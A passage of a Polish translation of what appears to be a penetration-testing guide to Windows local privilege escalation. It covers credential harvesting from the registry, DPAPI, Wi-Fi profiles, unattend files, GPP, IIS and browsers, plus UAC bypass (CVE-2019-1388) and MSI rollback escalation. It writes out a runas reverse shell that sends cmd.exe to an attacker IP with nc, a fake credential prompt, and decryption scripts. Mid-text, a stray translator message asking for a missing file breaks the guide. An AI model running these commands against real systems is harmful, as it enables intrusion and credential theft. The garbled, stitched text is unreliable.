Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabela ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Rules

Check this page for Firewall related commands (lista reguł, tworzenie reguł, wyłączanie, wyłączanie…)

Więcej commands for network enumeration here

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Plik binarny bash.exe można również znaleźć w C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Jeśli uzyskasz root user, możesz nasłuchiwać na dowolnym porcie — przy pierwszym użyciu nc.exe do nasłuchiwania system zapyta przez GUI, czy nc powinno być dozwolone przez firewall.

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Aby łatwo uruchomić bash jako root, możesz spróbować --default-user root

Możesz przeglądać system plików WSL w folderze C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Poświadczenia Windows

Poświadczenia Winlogon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Menedżer poświadczeń / Windows Vault

Źródło: https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault przechowuje poświadczenia użytkownika dla serwerów, stron internetowych i innych programów, do których Windows może automatycznie logować użytkowników. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą przechowywać tam swoje poświadczenia do Facebooka, Twittera, Gmaila itp., aby przeglądarki logowały ich automatycznie. Jednak tak nie jest.

Windows Vault przechowuje poświadczenia, za pomocą których Windows może automatycznie logować użytkowników, co oznacza, że każda aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu (serwera lub strony internetowej) może korzystać z tego Credential Manager & Windows Vault i użyć przechowywanych poświadczeń zamiast każdorazowego wpisywania nazwy użytkownika i hasła przez użytkowników.

Jeśli aplikacje nie współpracują z Credential Manager, nie sądzę, żeby mogły użyć poświadczeń dla danego zasobu. Dlatego jeśli Twoja aplikacja ma korzystać z vault, powinna w jakiś sposób komunikować się z credential managerem i żądać poświadczeń dla tego zasobu z domyślnego magazynu.

Użyj cmdkey, aby wyświetlić listę przechowywanych poświadczeń na maszynie.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Następnie możesz użyć runas z opcją /savecred, aby skorzystać z zapisanych poświadczeń. W poniższym przykładzie wywoływany jest zdalny plik binarny przez udział SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Używanie runas z podanym zestawem poświadczeń.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Zauważ, że mimikatz, lazagne, credentialfileview, VaultPasswordView, lub z Empire Powershells module.

DPAPI

The Data Protection API (DPAPI) zapewnia metodę symetrycznego szyfrowania danych, stosowaną przede wszystkim w systemie Windows do symetrycznego szyfrowania asymetrycznych kluczy prywatnych. To szyfrowanie wykorzystuje sekret użytkownika lub systemu, który znacząco zwiększa entropię.

DPAPI umożliwia szyfrowanie kluczy za pomocą klucza symetrycznego, który jest wyprowadzany z sekretów logowania użytkownika. W scenariuszach obejmujących szyfrowanie systemowe wykorzystuje sekrety uwierzytelniania domeny systemu.

Szyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu %APPDATA%\Microsoft\Protect\{SID}, gdzie {SID} reprezentuje użytkownika Security Identifier. Klucz DPAPI, współlokowany z master key, który zabezpiecza prywatne klucze użytkownika w tym samym pliku, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, aby pamiętać, że dostęp do tego katalogu jest ograniczony, uniemożliwiając listowanie jego zawartości za pomocą polecenia dir w CMD, choć można je wylistować przez PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Możesz użyć mimikatz module dpapi::masterkey z odpowiednimi argumentami (/pvk lub /rpc), aby go odszyfrować.

Pliki z poświadczeniami chronione hasłem głównym zwykle znajdują się w:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Możesz użyć mimikatz module dpapi::cred z odpowiednim /masterkey, aby odszyfrować.
Możesz extract many DPAPI masterkeys z memory za pomocą modułu sekurlsa::dpapi (jeśli jesteś root).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials są często używane do scripting i zadań automatyzacji jako sposób wygodnego przechowywania zaszyfrowanych poświadczeń. Poświadczenia są chronione za pomocą DPAPI, co zazwyczaj oznacza, że można je odszyfrować tylko przez tego samego użytkownika na tym samym komputerze, na którym zostały utworzone.

Aby odszyfrować poświadczenia PS z pliku, który je zawiera, możesz zrobić:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Zapisane połączenia RDP

Znajdują się w HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
i w HKCU\Software\Microsoft\Terminal Server Client\Servers\

Ostatnio uruchomione polecenia

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Menedżer poświadczeń pulpitu zdalnego

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Użyj modułu Mimikatz dpapi::rdg z odpowiednim /masterkey, aby odszyfrować dowolne pliki .rdg
Możesz wyciągnąć wiele DPAPI masterkeys z pamięci za pomocą modułu Mimikatz sekurlsa::dpapi

Sticky Notes

Użytkownicy często korzystają z aplikacji StickyNotes na stacjach roboczych Windows, aby zapisywać hasła i inne informacje, nie zdając sobie sprawy, że jest to plik bazy danych. Ten plik znajduje się w C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite i zawsze warto go wyszukać i przejrzeć.

AppCmd.exe

Uwaga, aby odzyskać hasła z AppCmd.exe musisz być Administratorem i uruchomić go na High Integrity level.
AppCmd.exe znajduje się w katalogu %systemroot%\system32\inetsrv\. Jeśli ten plik istnieje, możliwe że niektóre credentials zostały skonfigurowane i można je odzyskać.

Ten kod został wyodrębniony z PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Sprawdź, czy C:\Windows\CCM\SCClient.exe istnieje .
Instalatory są uruchamiane z uprawnieniami SYSTEM, wiele z nich jest podatnych na DLL Sideloading (Informacja z https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Pliki i Rejestr (Poświadczenia)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH klucze hosta

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys in registry

SSH private keys mogą być przechowywane w kluczu rejestru HKCU\Software\OpenSSH\Agent\Keys, więc powinieneś sprawdzić, czy znajduje się tam coś interesującego:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Jeśli znajdziesz jakikolwiek wpis w tej ścieżce, prawdopodobnie będzie to zapisany klucz SSH. Jest przechowywany zaszyfrowany, ale można go łatwo odszyfrować za pomocą https://github.com/ropnop/windows_sshagent_extract.
Więcej informacji o tej technice tutaj: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Jeśli usługa ssh-agent nie działa i chcesz, aby uruchamiała się automatycznie przy starcie systemu, uruchom:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Wygląda na to, że ta technika nie jest już aktualna. Próbowałem utworzyć klucze ssh, dodać je za pomocą ssh-add i zalogować się przez ssh na maszynę. Rejestr HKCU\Software\OpenSSH\Agent\Keys nie istnieje i procmon nie wykrył użycia dpapi.dll podczas uwierzytelniania asymetrycznego.

Pliki unattended

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Możesz też wyszukać te pliki za pomocą metasploit: post/windows/gather/enum_unattend

Przykładowa zawartość:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Kopie zapasowe SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Poświadczenia w chmurze

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Wyszukaj plik o nazwie SiteList.xml

Cached GPP Pasword

Funkcja wcześniej umożliwiała wdrażanie niestandardowych lokalnych kont administratora na grupie maszyn za pomocą Group Policy Preferences (GPP). Jednak ta metoda miała istotne luki bezpieczeństwa. Po pierwsze, Group Policy Objects (GPOs), przechowywane jako pliki XML w SYSVOL, były dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPP, zaszyfrowane AES256 przy użyciu publicznie udokumentowanego klucza domyślnego, mogły zostać odszyfrowane przez dowolnego uwierzytelnionego użytkownika. To stanowiło poważne ryzyko, ponieważ mogło pozwolić użytkownikom na uzyskanie podwyższonych uprawnień.

Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie zbuforowane pliki GPP zawierające pole “cpassword”, które nie jest puste. Po znalezieniu takiego pliku funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera informacje o GPP i lokalizacji pliku, co ułatwia identyfikację i usunięcie tej luki bezpieczeństwa.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (przed Windows Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Aby odszyfrować cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Użycie crackmapexec do uzyskania haseł:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Przykład web.config z poświadczeniami:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Dane uwierzytelniające OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logi

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Poproś o dane uwierzytelniające

Zawsze możesz poprosić użytkownika, aby wprowadził swoje dane uwierzytelniające lub nawet dane uwierzytelniające innego użytkownika, jeśli uważasz, że może je znać (zwróć uwagę, że bezpośrednie proszenie klienta o dane uwierzytelniające jest naprawdę ryzykowne):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Possible filenames containing credentials

Znane pliki, które jakiś czas temu zawierały passwords w clear-text lub Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Nie otrzymałem zawartości pliku. Proszę wklej zawartość pliku src/windows-hardening/windows-local-privilege-escalation/README.md (lub wszystkich proponowanych plików), które mam przetłumaczyć — przetłumaczę tekst na polski, zachowując dokładnie oryginalne znaczniki markdown/html, linki i ścieżki.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Dane uwierzytelniające w Koszu

Powinieneś również sprawdzić Kosz w poszukiwaniu poświadczeń.

Aby odzyskać hasła zapisane przez różne programy, możesz użyć: http://www.nirsoft.net/password_recovery_tools.html

W rejestrze

Inne możliwe klucze rejestru zawierające poświadczenia

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Historia przeglądarek

Powinieneś sprawdzić bazy danych, w których przechowywane są hasła z Chrome or Firefox.
Sprawdź też historię, zakładki i ulubione przeglądarek, ponieważ być może jakieś hasła są tam przechowywane.

Narzędzia do wyodrębniania haseł z przeglądarek:

COM DLL Overwriting

Component Object Model (COM) to technologia wbudowana w system Windows, która umożliwia współpracę między komponentami oprogramowania napisanymi w różnych językach. Każdy komponent COM jest identyfikowany za pomocą klasy ID (CLSID), a każdy komponent udostępnia funkcjonalność poprzez jedną lub więcej interfejsów, identyfikowanych za pomocą identyfikatorów interfejsów (IIDs).

Klasy i interfejsy COM są zdefiniowane w rejestrze pod kluczami HKEY\CLASSES\ROOT\CLSID oraz HKEY\CLASSES\ROOT\Interface. Ten obszar rejestru powstaje przez scalanie HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

W obrębie CLSID-ów w tym rejestrze można znaleźć podrzędny klucz rejestru InProcServer32, który zawiera wartość domyślną wskazującą na DLL oraz wartość o nazwie ThreadingModel, która może mieć wartość Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) lub Neutral (Thread Neutral).

W praktyce, jeśli potrafisz nadpisać którąkolwiek z DLL, które będą ładowane/wykonywane, możesz podnieść uprawnienia, jeśli ta DLL zostanie uruchomiona przez innego użytkownika.

Aby dowiedzieć się, jak atakujący używają COM Hijacking jako mechanizmu utrzymywania dostępu, zobacz:

COM Hijacking

Ogólne wyszukiwanie haseł w plikach i rejestrze

Szukaj zawartości plików

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Wyszukaj plik o określonej nazwie

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Przeszukaj rejestr w poszukiwaniu nazw kluczy i haseł

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Narzędzia wyszukujące passwords

MSF-Credentials Plugin is a msf plugin, który stworzyłem, aby automatically execute every metasploit POST module that searches for credentials na maszynie ofiary.
Winpeas automatycznie wyszukuje wszystkie pliki zawierające passwords wymienione na tej stronie.
Lazagne jest kolejnym świetnym narzędziem do wyodrębniania password z systemu.

Narzędzie SessionGopher wyszukuje sessions, usernames i passwords z kilku narzędzi, które zapisują te dane in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Wyobraź sobie, że proces działający jako SYSTEM otwiera nowy proces (OpenProcess()) z pełnym dostępem. Ten sam proces także tworzy nowy proces (CreateProcess()) o niskich uprawnieniach, ale dziedziczący wszystkie otwarte handles głównego procesu.
Następnie, jeśli masz pełny dostęp do procesu o niskich uprawnieniach, możesz przechwycić otwarty handle do uprzywilejowanego procesu utworzonego za pomocą OpenProcess() i wstrzyknąć shellcode.
Przeczytaj ten przykład, aby uzyskać więcej informacji o tym, jak wykryć i wykorzystać tę podatność.
Przeczytaj też ten inny post zawierający pełniejsze wyjaśnienie, jak testować i wykorzystywać więcej otwartych uchwytów procesów i wątków dziedziczonych z różnymi poziomami uprawnień (nie tylko pełnym dostępem).

Named Pipe Client Impersonation

Segmenty pamięci współdzielonej, nazywane pipes, umożliwiają komunikację między procesami i przesył danych.

Windows oferuje funkcję nazwaną Named Pipes, pozwalającą niezwiązanym procesom na współdzielenie danych, nawet przez różne sieci. Przypomina to architekturę client/server, z rolami określonymi jako named pipe server i named pipe client.

Kiedy dane są wysyłane przez pipe przez clienta, server, który utworzył pipe, ma możliwość przejęcia tożsamości clienta, o ile posiada niezbędne prawa SeImpersonate. Zidentyfikowanie uprzywilejowanego procesu, który komunikuje się przez pipe, który możesz podszyć, daje szansę na podniesienie uprawnień przez przyjęcie tożsamości tego procesu, gdy wejdzie w interakcję z pipe, który utworzyłeś. Instrukcje dotyczące wykonania takiego ataku można znaleźć tutaj oraz tutaj.

Również następujące narzędzie umożliwia przechwycenie komunikacji named pipe za pomocą narzędzia takiego jak burp: https://github.com/gabriel-sztejnworcel/pipe-intercept a to narzędzie umożliwia wypisanie i przegląd wszystkich pipes w celu znalezienia privescs https://github.com/cyberark/PipeViewer

Inne

Rozszerzenia plików, które mogą uruchamiać kod w Windows

Sprawdź stronę https://filesec.io/

Monitorowanie linii poleceń pod kątem haseł

Po uzyskaniu shella jako użytkownik mogą istnieć zaplanowane zadania lub inne procesy, które przekazują poświadczenia w linii poleceń. Skrypt poniżej pobiera linie poleceń procesów co dwie sekundy i porównuje bieżący stan z poprzednim, wypisując wszelkie różnice.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Kradzież haseł z procesów

Z Low Priv User do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Jeśli masz dostęp do interfejsu graficznego (przez konsolę lub RDP) i UAC jest włączone, w niektórych wersjach Microsoft Windows możliwe jest uruchomienie terminala lub dowolnego innego procesu takiego jak “NT\AUTHORITY SYSTEM” z poziomu nieuprzywilejowanego użytkownika.

To umożliwia eskalację uprawnień i jednoczesne obejście UAC tą samą podatnością. Dodatkowo nie ma potrzeby instalowania czegokolwiek, a binary używany podczas procesu jest podpisany i wydany przez Microsoft.

Niektóre z dotkniętych systemów to następujące:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Aby wykorzystać tę podatność, należy wykonać następujące kroki:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Wszystkie niezbędne pliki i informacje znajdziesz w następującym repozytorium GitHub:

https://github.com/jas502n/CVE-2019-1388

Z poziomu Administrator Medium do High Integrity Level / UAC Bypass

Przeczytaj to, aby dowiedzieć się o Integrity Levels:

Integrity Levels

Następnie przeczytaj to, aby dowiedzieć się o UAC i UAC bypasses:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

Technika opisana w tym wpisie na blogu z kodem exploita dostępnym tutaj.

Atak zasadniczo polega na wykorzystaniu funkcji rollback Windows Installer do zastąpienia legalnych plików złośliwymi podczas procesu deinstalacji. W tym celu atakujący musi stworzyć malicious MSI installer, który zostanie użyty do przejęcia folderu C:\Config.Msi, który później będzie używany przez Windows Installer do przechowywania plików rollback podczas deinstalacji innych pakietów MSI, gdzie pliki rollback zostałyby zmodyfikowane tak, aby zawierały payload.

Podsumowana technika wygląda następująco:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)
  • Step 1: Install the MSI

  • Stwórz .msi, który instaluje nieszkodliwy plik (np. dummy.txt) w zapisywalnym folderze (TARGETDIR).

  • Oznacz instalator jako “UAC Compliant”, aby użytkownik bez uprawnień administracyjnych mógł go uruchomić.

  • Zachowaj otwarty handle do pliku po instalacji.

  • Step 2: Begin Uninstall

  • Odinstaluj ten sam .msi.

  • Proces deinstalacji zaczyna przenosić pliki do C:\Config.Msi i zmienia ich nazwy na pliki .rbf (rollback backups).

  • Poll the open file handle za pomocą GetFinalPathNameByHandle, aby wykryć, kiedy plik stanie się C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • .msi zawiera custom uninstall action (SyncOnRbfWritten), która:

  • Sygnalizuje, kiedy .rbf został zapisany.

  • Następnie czeka na inny event zanim kontynuuje deinstalację.

